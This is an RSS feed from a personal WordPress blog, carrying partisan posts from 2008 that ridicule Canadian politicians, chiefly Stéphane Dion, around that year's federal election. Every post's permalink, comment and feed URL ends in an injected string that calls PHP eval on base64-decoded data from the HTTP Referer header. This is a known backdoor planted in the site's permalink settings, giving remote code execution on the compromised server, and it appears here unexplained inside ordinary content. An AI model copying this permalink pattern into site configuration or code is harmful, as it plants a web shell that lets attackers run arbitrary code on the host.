<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>erwingerrits.com &#187; Dion</title>
	<atom:link href="http://www.erwingerrits.com/tag/dion/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.erwingerrits.com</link>
	<description>The eyes are open, the mouth moves, but Mr. Brain has long since departed.</description>
	<lastBuildDate>Wed, 12 May 2010 14:59:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Is &#8220;Determined Determination&#8221; the same as &#8220;Entitled to our Entitlements&#8221;?</title>
		<link>http://www.erwingerrits.com/2008/12/11/is-determined-determination-the-same-as-entitled-to-our-entitlements/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/12/11/is-determined-determination-the-same-as-entitled-to-our-entitlements/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 17:03:00 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Ignafieff]]></category>
		<category><![CDATA[Liberals]]></category>
		<category><![CDATA[May]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=519</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F11%2Fis-determined-determination-the-same-as-entitled-to-our-entitlements%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F11%2Fis-determined-determination-the-same-as-entitled-to-our-entitlements%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>While <a href="http://www.nationalpost.com/todays_paper/story.html?id=1059728">Martha Hall Findlay wiped the tears from her eyes</a>, the <strong>World&#8217;s Seventh Intellect</strong> (is this the same as &#8220;Canada&#8217;s Foremost Thinker&#8221; to describe a certain <a href="http://www.gaspereau.com/1554470188.shtml">GG husband</a>?) stumbled in his first speech yesterday. &#8220;<a href="http://finalspin.wordpress.com/2008/12/11/determined-determination-eh/">Determined determination</a>&#8221; must be the epitome of smartness. So utter intellectual that simple folks like you or I would almost think it doesn&#8217;t make any sense. But I suppose there are only about six people in the world who could come up with better phrasing, so who are we to complain?</p>
<p>It also seems that the World&#8217;s Seventh Intellect <a href="http://network.nationalpost.com/np/blogs/posted/archive/2008/12/10/live-blog-ignatieff-s-first-news-conference-as-liberal-leader.aspx">likes the smell of manure</a>. He&#8217;s such a farm-boy, our little Iggy. Doesn&#8217;t he look like he could, at any given time, peal off his suit like Superman, reveal his dirty coveralls underneath, grab a pitch fork and shovel some shit?</p>
<p>Jack Layton is laying low. After in effect being called stupid by Ignatieff in the aforementioned speech, and <a href="http://www.smalldeadanimals.com/archives/010249.html">his wife&#8217;s online poll-gaffe</a>, I think it is best to hide out until after Christmas. Plus I&#8217;ve seen enough of his moustache for a while.</p>
<p>With Dion gone, Rae gone and Lizzy May out of the country, politics have suddenly become non-humourous. Shame, shame, shame.</p>
<p><strong>UPDATE:</strong> Thanks to <a href="http://www.bluelikeyou.com">Blue Like You</a> and <a href="http://www.smalldeadanimals.com">Small Dead Animals</a> for sending hordes of folks this way and keeping me from doing my work all afternoon (and that&#8217;s a good thing!)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/12/11/is-determined-determination-the-same-as-entitled-to-our-entitlements/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Do you t&#8217;ink it&#8217;s easy to deliver a tape to the media?</title>
		<link>http://www.erwingerrits.com/2008/12/03/do-you-tink-its-easy-to-deliver-a-tape-to-the-media/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/12/03/do-you-tink-its-easy-to-deliver-a-tape-to-the-media/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 01:15:06 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Dion]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=491</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F03%2Fdo-you-tink-its-easy-to-deliver-a-tape-to-the-media%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F12%2F03%2Fdo-you-tink-its-easy-to-deliver-a-tape-to-the-media%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>Staffer: Mr. Dion, we have to deliver this tape, we&#8217;re late!<br />
Dion: Can we start over?<br />
Staffer: No, Lloyd is waiting for it&#8230;<br />
Dion: Is he waiting for it now? Or next Tuesday?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/12/03/do-you-tink-its-easy-to-deliver-a-tape-to-the-media/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>&#8220;I want my welfare&#8221; (formerly: &#8220;we need to work together&#8221;)</title>
		<link>http://www.erwingerrits.com/2008/11/28/i-want-my-welfare-formerly-we-need-to-work-together/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/11/28/i-want-my-welfare-formerly-we-need-to-work-together/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 28 Nov 2008 15:31:26 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Harper]]></category>
		<category><![CDATA[Ignatieff]]></category>
		<category><![CDATA[Layton]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=452</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F11%2F28%2Fi-want-my-welfare-formerly-we-need-to-work-together%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F11%2F28%2Fi-want-my-welfare-formerly-we-need-to-work-together%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>The country is facing a recession, people of all stripes are cutting back on their expenses, some are losing money on their RRSPs, gauging (more like fleecing) at the pumps, people are losing jobs left and right, yet the Liberals, NDP and Bloc are against capping their salaries, cutting their expense accounts and want to hold on to their entitlements.  &#8220;We must work together to make this parliament work for the Canadian people&#8221; has changed to &#8220;I don&#8217;t want to give up my $1.95 per vote and a pay hike&#8221;. Thanks Jackie, Stephane and Gilles. Glad you&#8217;re working for us. Glad you&#8217;re chippin&#8217; in.<br />
<span id="more-452"></span><br />
Now it&#8217;s either another election with Mr. Money vs Mr. Broke, Mr. Poor and Mr. Stupid, or a coalition government between Mr. Am I Prime Minister now or Tuesday?, Mr. Kitchen Table and Mr. Separatist. Lovely.</p>
<p>These people live in such lala-land it is unbelievable.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/11/28/i-want-my-welfare-formerly-we-need-to-work-together/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Mr. &#8220;I am not a quitter&#8221; Quits</title>
		<link>http://www.erwingerrits.com/2008/10/21/mr-i-am-not-a-quitter-quits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/21/mr-i-am-not-a-quitter-quits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 21 Oct 2008 14:25:29 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Conservatives]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Election 2008]]></category>
		<category><![CDATA[Harper]]></category>
		<category><![CDATA[Liberals]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=363</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F21%2Fmr-i-am-not-a-quitter-quits%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F21%2Fmr-i-am-not-a-quitter-quits%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>So, what other things you have been saying during the campaign that have now proven to be <a href="http://www.thestar.com/FederalElection/article/516533">untrue</a>? Or, in other words, what other things has <a href="http://www.thestar.com/federalelection/article/516234">Mr Harper said </a>during the campaign, that you said were lies, turn out to be true?</p>
<p>Yes, Dion held his L O N G awaited <a href="http://www.ctv.ca/servlet/ArticleNews/story/CTVNews/20081020/dion_announcement_081020/20081020?hub=Politics">press conference </a>yesterday, after <strong>HIDING OUT</strong> for nearly a week. Saying he&#8217;ll step down, but stay on for now (?). He blames everything on himself, but mostly on a number of other things (is that possible? It&#8217;s like a shirt is 100% cotton, AND some wool h/t Seinfeld), such as:<span id="more-363"></span></p>
<ol>
<li>The Conservatives&#8217; giant war chest</li>
<li>The Liberals&#8217; small war purse</li>
<li>The Conservatives painted a bad image of him he could not shake</li>
<li>The Conservatives said his Green Shift plan was a &#8220;Tax&#8221;, neglecting to mention the matching income tax cuts.</li>
</ol>
<p>So, for #1 and #2, you have no-one to blame but yourself: you are the leader of the party and as such in charge of bringing in the donations. Just because others are better at fund raising doesn&#8217;t mean they were the cause of your demise; #3: <a href="http://www.canada.com/ottawacitizen/news/story.html?id=9c02edab-130b-4871-ab6f-9a4753222d28">Harper=Bush</a>, <a href="http://www.youtube.com/watch?v=68toCAiPIjo" rel="wp-prettyPhoto[g363]"">Soldiers in our Streets</a>, <a href="http://ca.news.yahoo.com/s/capress/080908/national/fedelxn_main" rel="wp-prettyPhoto[g363]">Harper is a Liar</a>, <a href="http://www.canada.com/edmontonjournal/news/story.html?id=ad397051-6e47-42fb-85f4-eab58f4477a8">Harper lives in a &#8216;bubble&#8217;</a>, <a href="http://www.youtube.com/watch?v=GLCHP51FZ6E" rel="wp-prettyPhoto[g363]"">Harper is dishonest</a>. &#8216;Nuff said. #4. Sorry, but it isn&#8217;t the Conservatives interest to sell YOUR plan to YOUR voters. I think everybody in Canada knows that. Everybody, except one, apparently.</p>
<p>In all of this, past year not showing up for votes in the House, and this election disaster, Mr. Dion still hasn&#8217;t stepped past his <a href="http://afp.google.com/article/ALeqM5jukCFb10nbke5e4k8wyn4WC5x7gw">Parisian snootiness</a>. It&#8217;s my fault, but really, it&#8217;s those meanies across the isle! He claims to be stepping down for the good of the party, but in the same breath he says he&#8217;ll stay on for another 8 months, no doubt to collect his <a href="http://www.cbc.ca/news/background/cdngovernment/mpssalary.html">hefty MP salary </a>to be able to <a href="http://www.canada.com/topics/news/national/story.html?id=35453bc2-f185-44e1-badc-fa94315be48c">pay off his own personal debt</a>.</p>
<p>Well, well. Mr. &#8220;I am not a quitter&#8221; Quits. Who&#8217;s the liar now, Mr. Snooty?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/10/21/mr-i-am-not-a-quitter-quits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anything to Get Into Power</title>
		<link>http://www.erwingerrits.com/2008/10/13/anything-to-get-into-power/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/13/anything-to-get-into-power/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 15:02:52 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Conservatives]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Election 2008]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[Liberals]]></category>
		<category><![CDATA[May]]></category>
		<category><![CDATA[NDP]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=251</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F13%2Fanything-to-get-into-power%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F13%2Fanything-to-get-into-power%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>This is the first election I&#8217;ve heard the opposition parties say: If the Conservatives win a strong minority or a slight majority that means they got 40% of the vote which means 60% of Canada did NOT vote for them. 60% of Canadians DO NOT WANT them. That means 60% of Canada voted for US and so we should govern.</p>
<p>So I did some research into <a href="http://www.sfu.ca/~aheard/elections/1867-2004.html">past elections </a>and, applying the above &#8216;rule&#8217;, where you don&#8217;t have the Canadian people&#8217;s blessing to govern if you don&#8217;t get more than 50% of the vote, the history of our country would have been quite different:<span id="more-251"></span></p>
<ul>
<li>1867: Conservative won with 50%, Macdonald can stay.</li>
<li>1872  Conservative won with 49.9%. <strong>Macdonald thrown out</strong>. Liberals and Other govern. (Blake PM)</li>
<li>1874: Liberals won with 53.8%. Mackenzie can stay.</li>
<li>1882: Conservative win with 53.4%. Macdonald can stay.</li>
<li>1887: Conservative win with 50.7%: Macdonald can stay.</li>
<li>1891: Conservative win with 52%. Macdonald can stay.</li>
<li>1896: Liberals win with 45.1%. <strong>Laurier thrown out</strong>. Conservative &amp; Order govern (Charles Tupper PM)</li>
<li>1900: Liberal win with 52%. Laurier can stay.</li>
<li>1904: Liberals win with 52.5%. Laurier can stay.</li>
<li>1908: Liberals win with 50.6%. Laurier can stay.</li>
<li>1911: Conservatives win with 51.2%. Borden can stay.</li>
<li>1917: Conservatives win with 57%. Borden can stay.</li>
<li>1921: Liberals win with 40.7%. <strong>Mackenzie King thrown out</strong>. Other and Conservatives govern. (Arthur Meighen PM)</li>
<li>1926: Liberals win with 43.6%. <strong>Mackenzie King rown out</strong>. Conservatives &amp; Other govern. (Arthur Meighen PM)</li>
<li>1930 Conservatives win with 49%. <strong>Bennett thrown out</strong>. Liberal &amp; Other govern. (Mackenzie King PM)</li>
<li>1935 Liberals win with 44.4%. <strong>Mackenzie King thrown out</strong>. Conservative, Social Credit &amp; Other govern.</li>
<li>1945: Liberals win with: 41.4%. <strong>Mackenzie King thrown out</strong>. Progressive Conservatives, CCF, Social Credit &amp; Other govern. (John Bracken PM)</li>
<li>1949: Liberals win with 50.1%. St-Laurent can stay.</li>
<li>1953: Liberals win with 50%. St-Laurent can stay.</li>
<li>1957: Progressive Conservatives win with 39%. <strong>Diefenbaker thrown out</strong>. Liberals, CCF, Social Credit &amp; Other govern. (St-Laurent PM)</li>
<li>1958: Progressive Conservatives win with 53.7%. Diefenbaker can stay.</li>
<li>1962: Progressive Conservatives win with 37.3%. <strong>Diefenbaker thrown out</strong>. Liberals, Social Credit, NDP &amp; Other govern.</li>
<li>1963: Liberals win with 41.7%. <strong>Pearson thrown out</strong>. PC, Social Credit, NDP &amp; Other govern. (Diefenbaker PM)</li>
<li>1972: Liberals win with 38.5%.<strong> Trudeau thrown out.</strong>PC, NDP, SC &amp; Other govern. (Stanfields PM)</li>
<li>1974: Liberals win with 43.2%. <strong>Trudeau thrown out.</strong>PC, NDP, SC &amp; Other govern. (Stanfields PM)</li>
<li>1979: PC win with 35.9%. <strong>Joe Clark thrown out.</strong> Liberal, NDP, SC &amp; Other govern. (Trudeau PM)</li>
<li>1980: Liberals win with 44.3%. <strong>Trudeau thrown out.</strong> PC, NDP, SC &amp; Other govern. (Joe Clark PM)</li>
<li>1984: PC win with 50%. Mulroney can stay.</li>
<li>1988: PC win with 43%. <strong>Mulroney thrown out.</strong> Liberals, NDP, SC &amp; Other govern. (Turner PM)</li>
<li>1993: Liberals win with 41.3%. <strong>Chretien thrown out. </strong>Bloc, Reform, NDP, PC &amp; Other govern. (<strong>Lucien Bouchard PM!!</strong>)</li>
<li>1997: Liberals win with 38.5%. <strong>Chretien Thrown out.</strong> Reform, Bloc, NDP,PC &amp; Other govern. (Manning PM)</li>
<li>2000: Liberals win with 40.8%.<strong> Chretien Thrown out. </strong>Canadian Alliance, Bloc,NDP, PC &amp; Other govern. (Stockwell Day PM)</li>
<li>2004: Liberals win with 36.7%. <strong>Martin thrown out. </strong>Conservatives, Bloc, NDP, Green &amp; Other govern. (<span style="text-decoration: line-through;">Stockwell Day</span> Harper PM)</li>
<li>2006: Conservatives win with &lt;50%.<strong> Harper thrown out.</strong> Liberals, NDP, Bloc &amp; Green govern. <span style="text-decoration: line-through;">Dion</span> Martin PM.</li>
</ul>
<p>So, to recap, with this new &#8216;rule&#8217; we&#8217;d have had: No Jean Chretien (+), A BQ as PM (-), No Paul Martin (+), No Free-Trade (-), One term of Trudeau (+), Right Government for past 15 yars (+)</p>
<p>Hmm&#8230; more pluses than minuses. Maybe they&#8217;re onto something here&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/10/13/anything-to-get-into-power/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Scary thoughts enter my mind</title>
		<link>http://www.erwingerrits.com/2008/10/10/scary-thoughts-enter-my-mind/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/10/scary-thoughts-enter-my-mind/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 16:47:30 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Conservatives]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Election 2008]]></category>
		<category><![CDATA[Layton]]></category>
		<category><![CDATA[Liberals]]></category>
		<category><![CDATA[May]]></category>
		<category><![CDATA[NDP]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=237</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F10%2Fscary-thoughts-enter-my-mind%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F10%2Fscary-thoughts-enter-my-mind%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>Hypothetical scenario:</p>
<p>Minority Conservative Government. First vote of confidence will be on Tough on Crime for Young Offenders. It will (obviously) be defeated. Liberals, NDP, Bloc and Greens will go to the Governor General, and form a new coalition government. We&#8217;ll get:</p>
<ol>
<li>Prime Minister Stephane Dion</li>
<li>Minister of Finance: Bob Rae</li>
<li>Minister of Defense: Jack Layton</li>
<li>Minister of the Environment: Elizabeth May</li>
</ol>
<p>If this doesn&#8217;t scare anybody I don&#8217;t know what this country is a-comin&#8217; to.</p>
<p>And this is a VERY REALISTIC scenario. The Bloc, Greens and NDP have already said they&#8217;re open to it. Dion has REFUSED to rule out putting May in his cabinet, indicating he&#8217;s open to a coalition. The only way to stop this is by electing a majority Conservative government.</p>
<p>h/t to <a href="http://www.cfra.com/hosts/lowell.asp">Lowell Green</a>&#8217;s radio show</p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/10/10/scary-thoughts-enter-my-mind/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Teleprompt malfunctions -&gt; Dion blabs incoherently</title>
		<link>http://www.erwingerrits.com/2008/10/10/teleprompt-malfunctions-dion-blabs-incoherently/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/10/teleprompt-malfunctions-dion-blabs-incoherently/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 15:29:15 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Liberals]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=235</guid>
		<description><![CDATA[<br/>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F10%2Fteleprompt-malfunctions-dion-blabs-incoherently%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.erwingerrits.com%2F2008%2F10%2F10%2Fteleprompt-malfunctions-dion-blabs-incoherently%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" height="61" width="51" /></a></div><br/><p>This is from <a href="http://www.ottawasun.com/News/Columnists/Weston_Greg/2008/10/10/7037131-sun.html">Greg Weston&#8217;s</a> column in the Ottawa Sun:</p>
<p><span style="color: #333399;">HALIFAX &#8212; It was one of those unfortunate technical glitches that eventually bedevils every election campaign, a teleprompter that failed to roll at the start of Stephane Dion&#8217;s speech to the chamber of commerce here yesterday. </span></p>
<p><span style="color: #333399;">No fault of the Liberal leader, the miscue nonetheless provided a much needed reality check on this week&#8217;s dubious outbreak of Dionmania. </span></p>
<blockquote><p><span style="color: #333399;">&#8220;Thank you to welcome me in the chamber of commerce of one of the most successful city of Canada and certainly the most resilient Halifax,&#8221; Dion began ad libbing as he waited for the teleprompter. </span></p></blockquote>
<p><span style="color: #333399;"><span id="more-235"></span>Thanking the person who introduced him and saying a word about local Liberal MP Scott Brison, who provided a warm-up act, should not have been too tricky for a prospective prime minister. </span></p>
<blockquote><p><span style="color: #333399;">&#8220;Thank you very much, um &#8230; Thank you. Uh, and thank you also. Thank you, Valerie. I think exactly like &#8230; I will speak with my heart, okay?&#8221; </span></p>
<p><span style="color: #333399;">&#8220;Thank you Valerie. Thank you so much because what you have as an agenda is at the core of a plan that Scotch, um, Scott has shown, a plan that want development and for the next generations as well, build on the economy and environment together.&#8221; </span></p></blockquote>
<p><span style="color: #333399;">The teleprompter finally operational, the Liberal leader reads the rehearsed script, decrying Stephen Harper and telling the crowd why Stephane Dion should be the next prime minister. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.erwingerrits.com/2008/10/10/teleprompt-malfunctions-dion-blabs-incoherently/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>See? Liberals DO have foresight!</title>
		<link>http://www.erwingerrits.com/2008/10/10/see-liberals-do-have-foresight/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.erwingerrits.com/2008/10/10/see-liberals-do-have-foresight/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 10 Oct 2008 14:44:43 +0000</pubDate>
		<dc:creator>Erwin</dc:creator>
				<category><![CDATA[Federal]]></category>
		<category><![CDATA[Dion]]></category>
		<category><![CDATA[Election 2008]]></category>
		<category><![CDATA[Liberals]]></category>

		<guid isPermaLink="false">http://www.erwingerrits.com/?p=232</guid>
		<description><![CDATA[<br/>]]></description>
